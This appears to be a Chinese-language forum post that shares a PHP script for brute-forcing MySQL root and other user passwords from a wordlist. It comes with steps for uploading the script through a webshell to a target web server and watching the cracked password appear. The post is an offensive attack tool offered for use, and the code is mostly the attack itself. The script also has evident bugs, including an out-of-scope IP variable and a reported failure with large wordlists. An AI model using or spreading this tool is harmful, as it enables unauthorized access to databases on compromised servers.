<? set_time_limit(0); //脚本不超时 $ip = "localhost"; //IP $user = "root"; //用户名 $passwd = file("password.txt"); //密码字典 for($i=0; $i<count($passwd); $i++){ $pass = Str_Replace("\r\n", "", $passwd[$i]); //剔除多余的回车+换行 connect($user, $pass); flush(); } echo "扫描结束!"; function connect($user, $pass) { if(@mysql_connect($ip, $user, $pass)){ echo "<font color='#0000FF'><b>得到密码:<font color='#FF0000'>".$pass."</font>!!!</b></font>"; exit(); } else { echo $pass.'<br>'; } } ?>
代码简单的不能再简单了,就不解释了,功能很简单,传到WebShell上去暴力破解本机的MySql数据库Root或其它用户的密码,因为是破解本机,所以速度奇快无比,貌似还有点效果,这个以前有人发过,这个是我改过的。
已知有一处Bug,不清楚为何,密码数量少的时候,准确率100%,但是当密码数量达到5000以上时,准确率0%,明明正确的密码,却不显示正确,除非你把这个密码放在字典最末尾,才显示正确,不清楚是什么原因造成的,开始以为是暴破间隔时间太短,加了延时函数,还是这样。。。
或许只是我个别原因?各位试试就知道了。
用法:
1、修改 PHP 代码中的用户名
2、准备字典 password.txt,每行一个,理论上支持无数行。
3、将脚本和字典一起传到目标Web服务器上,访问该脚本,即开始暴力破解,破解结果实时输出,盯着就行了。